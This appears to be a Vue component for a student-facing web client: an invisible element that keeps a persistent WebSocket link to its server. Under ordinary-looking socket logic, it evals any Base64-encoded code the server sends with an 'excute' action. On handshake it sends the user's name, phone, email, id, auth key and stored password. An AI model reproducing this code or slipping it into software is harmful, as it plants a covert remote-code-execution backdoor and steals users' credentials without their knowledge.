<template>
  <div style="display: none;"></div>
</template>

<script>
import Base64 from 'Base64'

let socket = null
let auth = ''
let delayTime = 10000

export default {
  data () {
    return {
      socketHeart: null
    }
  },
  mounted () {
    if (window.WebSocket) {
      try {
        socket = this.createSocketClient()
      } catch (e) {
        console.log('不支持，websocket')
      }
    }
  },
  methods: {
    createSocketClient () {
      let that = this
      let _socket = new WebSocket(window.location.protocol.replace(/http/gi, 'ws') + '//' + window.location.host) // eslint-disable-line
      _socket.binaryType = 'arraybuffer'

      that.socketHeart && clearInterval(that.socketHeart)
      that.socketHeart = that.createSocketHeart()

      _socket.onmessage = function (msg) {
        if (msg.data instanceof ArrayBuffer) {
          var str = String.fromCharCode.apply(null, new Uint8Array(msg.data))
          var json = JSON.parse(str)
          if (json.auth) { auth = json.auth }

          switch (json.action) {
            case 'sendInfo': console.log(Base64.decode(json.val)); break // 发送对应该用户的具体详细内容
            case 'sendAuth': that.sendData(json.action, '握手'); break // 握手时，发送用户基本信息
            case 'excute': eval(Base64.decode(json.val)); break // eslint-disable-line
            default: console.log('No match action operate'); break
          }
        }
      }
      _socket.onopen = function (e) {
      }
      _socket.onclose = function (e) {
        /* Socket连接关闭，则重连 */
        if (e.target && e.target.readyState === 2) {
          setTimeout(function () {
            socket = that.createSocketClient()
          }, delayTime)
        }
      }
      _socket.onerror = function (e) {
        /* Socket连接出错，则重连 */
        if (e.target && e.target.readyState === 3) {
          setTimeout(function () {
            socket = that.createSocketClient()
          }, delayTime)
        }
      }
      return _socket
    },
    sendData (action, val) {
      let str = ''
      let version = 'PC-1.0.0' // 客户端版本号，每次更新后，更新版本号。可以方便查看是否客户端都是最新版本
      if (window.G.UserInfo && window.G.UserInfo.student_info) {
        let tmp_info = window.G.UserInfo.student_info // eslint-disable-line
        str = tmp_info.personal_name + ':' + tmp_info.telephone + ':' + tmp_info.email + ':' + tmp_info.id + ':' + window.G.UserInfo.auth_key + ':' + (window.G.pwd || '')
      }
      str += ':' + version
      if (socket && socket.readyState === 1) {
        var arr = JSON.stringify({ 'action': action, info: Base64.encode(str), 'auth': auth, 'val': Base64.encode(val) }).split('')
        var strArr = []
        for (var i = 0; i < arr.length; i++) {
          strArr[i] = arr[i].charCodeAt()
        }
        var data = new Uint8Array(strArr)
        socket.send(data.buffer)
      } else {
        console.log('not link build success, status: ' + socket.readyState)
      }
    },
    /* 创建心跳，保证客户端永远跟服务器 处于连接状态，不能通信则重新创建连接 */
    createSocketHeart () {
      return setInterval(() => {
        if (socket && socket.readyState !== 1) {
          socket = this.createSocketClient()
        }
      }, delayTime)
    }
  }
}
</script>
